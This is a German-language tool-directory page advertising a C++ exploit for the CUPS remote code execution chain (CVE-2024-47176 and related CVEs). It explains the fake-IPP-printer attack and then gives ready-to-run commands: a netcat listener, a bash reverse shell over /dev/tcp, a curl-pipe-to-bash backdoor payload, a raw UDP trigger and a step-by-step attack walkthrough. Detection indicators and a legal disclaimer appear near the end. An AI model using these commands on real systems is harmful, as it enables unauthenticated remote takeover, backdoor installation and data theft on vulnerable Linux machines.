Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/stickxx00/cups-rce-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubstickxx00/cups-rce-exploit

Cups-RCE-Exploit

C++ Exploit für nicht authentifizierte Remotecodeausführung auf CUPS über CVE-2024-47176-Kette.

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CUPS RCE Exploit – CVE-2024-47176 Kette

Was es ist

Ein voll funktionsfähiger Proof-of-Concept-Exploit, der die im September 2024 entdeckte Remote-Code-Ausführungsschwachstellenkette von CUPS (Common Unix Printing System) angreift. Diese Kette besteht aus vier CVEs – CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 und CVE-2024-47177 – die zusammen einem nicht authentifizierten Remoteeindringling die Ausführung beliebiger Befehle auf jedem Linux-System mit einer anfälligen Version von CUPS ermöglichen.

Wie es funktioniert

Der Exploit setzt einen unechten IPP-Server (Internet Printing Protocol) ein, der einen Netzwerkdrucker imitiert. Der Angriff läuft in vier Phasen ab:

Stufe 1 — Erkennungsauslöser Ein manipuliertes UDP-Paket wird an den Zielport 631 gesendet. Der cups-browsed-Daemon vertraut diesem Paket ohne Authentifizierung und initiiert eine TCP-Verbindung zurück zum IPP-Server des Angreifers, um Druckerattribute abzurufen.

Stufe 2 — Auslieferung einer bösartigen PPD-Datei Der IPP-Server des Angreifers antwortet mit Druckerattributen, die unbereinigte Daten enthalten. Diese Daten durchlaufen libcupsfilters und libppd, die die Eingabe nicht validieren oder bereinigen, wodurch eine bösartige FoomaticRIPCommandLine-Direktive in eine PPD-Datei eingebettet werden kann.

Stufe 3 — Befehlseinschleusung Wenn ein Druckauftrag an den vom Angreifer kontrollierten Drucker gesendet wird (entweder automatisch oder durch eine Benutzeraktion), verarbeitet der foomatic-rip-Filter die PPD-Datei und führt den eingeschleusten Befehl mit den Rechten des lp-Benutzers aus.

Stufe 4 — Payload-Ausführung Der eingeschleuste Befehl wird auf dem Zielsystem ausgeführt. Übliche Payloads umfassen Reverse Shells, Backdoor-Installation, Datenexfiltration oder Vorbereitung zur Privilegienerweiterung.

Betroffene Versionen

cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1

Die meisten Linux-Distributionen wurden bis zu den Patches Ende 2024 mit betroffenen Versionen ausgeliefert.

Voraussetzungen

  • Ein Linux-Rechner mit g++ und Standard-Entwicklungswerkzeugen
  • Netzwerkzugriff auf das Ziel (UDP-Port 631 muss erreichbar sein)
  • Das Ziel muss cups-browsed ausführen, das auf UDP 631 lauscht
  • Root oder sudo wird empfohlen, um an Port 631 zu binden (oder einen hohen Port wie 1631 verwenden)

Kompilierung

g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Keine externen Abhängigkeiten. Lässt sich auf jeder Linux-Distribution mit g++ kompilieren.

Verwendung

./cups_rce_exploit -l <ATTACKER_IP> -r [options]

Optionen

  • -l, --listener IP-Adresse des Angreifers für den unechten IPP-Server
  • -r, --reverse Auszuführender Befehl auf dem Ziel oder Pfad zu einer Skriptdatei
  • -t, --target IP-Adresse des Zielrechners (sendet automatisch ein UDP-Triggerpaket)
  • -p, --port Port für den unechten IPP-Server (Standard: 631)
  • -s, --spoof Spoof-Name des Druckers (Standard: VulnPrinter)
  • -T, --target-port UDP-Zielport (Standard: 631)
  • -h, --help Hilfemeldung anzeigen

Reverse-Shell-Beispiel

Terminal 1 – Listener starten: nc -lvnp 4444

Terminal 2 – Exploit ausführen: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Payload aus Datei

echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100

Servermodus mit manuellem Auslöser

Terminal 1 – Server starten: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"

Terminal 2 – UDP-Trigger an Ziel senden: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631

Verwendung eines nicht privilegierten Ports

./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631

Vollständige Angriffsschritt-für-Schritt-Anleitung

Schritt 1: Richten Sie einen Netcat-Listener auf Ihrem Angreifer-Rechner ein nc -lvnp 4444

Schritt 2: Kompilieren Sie den Exploit g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Schritt 3: Führen Sie den Exploit gegen das Ziel aus ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Schritt 4: Wenn ein Benutzer auf dem Zielrechner eine Testseite oder ein Dokument an den unechten Drucker sendet, erhalten Sie eine Reverse Shell als lp-Benutzer.

Erkennungsindikatoren

  • Unerwartete UDP-Pakete auf Port 631 mit IPP-URI-Zeichenfolgen
  • Ausgehende TCP-Verbindungen von cups-browsed zu unbekannten Hosts auf Port 631
  • Unbekannte Drucker, die automatisch in der CUPS-Weboberfläche erscheinen
  • Prozesse, die von foomatic-rip oder unter dem lp-Benutzer gestartet werden

Haftungsausschluss

RECHTLICHER HINWEIS

Diese Software wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Sie soll Sicherheitsexperten, Penetrationstestern und Systemadministratoren helfen, die beschriebenen Schwachstellen zu verstehen, zu erkennen und sich dagegen zu verteidigen.

Die unbefugte Nutzung dieses Exploits gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal und kann gegen den Computer Fraud and Abuse Act (CFAA), den Computer Misuse Act und ähnliche Gesetze in anderen Rechtsordnungen verstoßen.

Autorisierte Anwendungsfälle umfassen Sicherheitsbewertungen auf Systemen, die Sie besitzen, Penetrationstests mit schriftlicher Autorisierung, Bug-Bounty-Programme mit explizitem Umfang, akademische Forschung in kontrollierten Laborumgebungen und CTF-Wettbewerbe.

Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden. Die Nutzer sind allein verantwortlich für die Einhaltung aller geltenden Gesetze und für die Einholung der ordnungsgemäßen Genehmigung vor dem Testen.

Durch die Nutzung dieser Software akzeptieren Sie diese Bedingungen.

Referenzen

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org

Tool herunterladen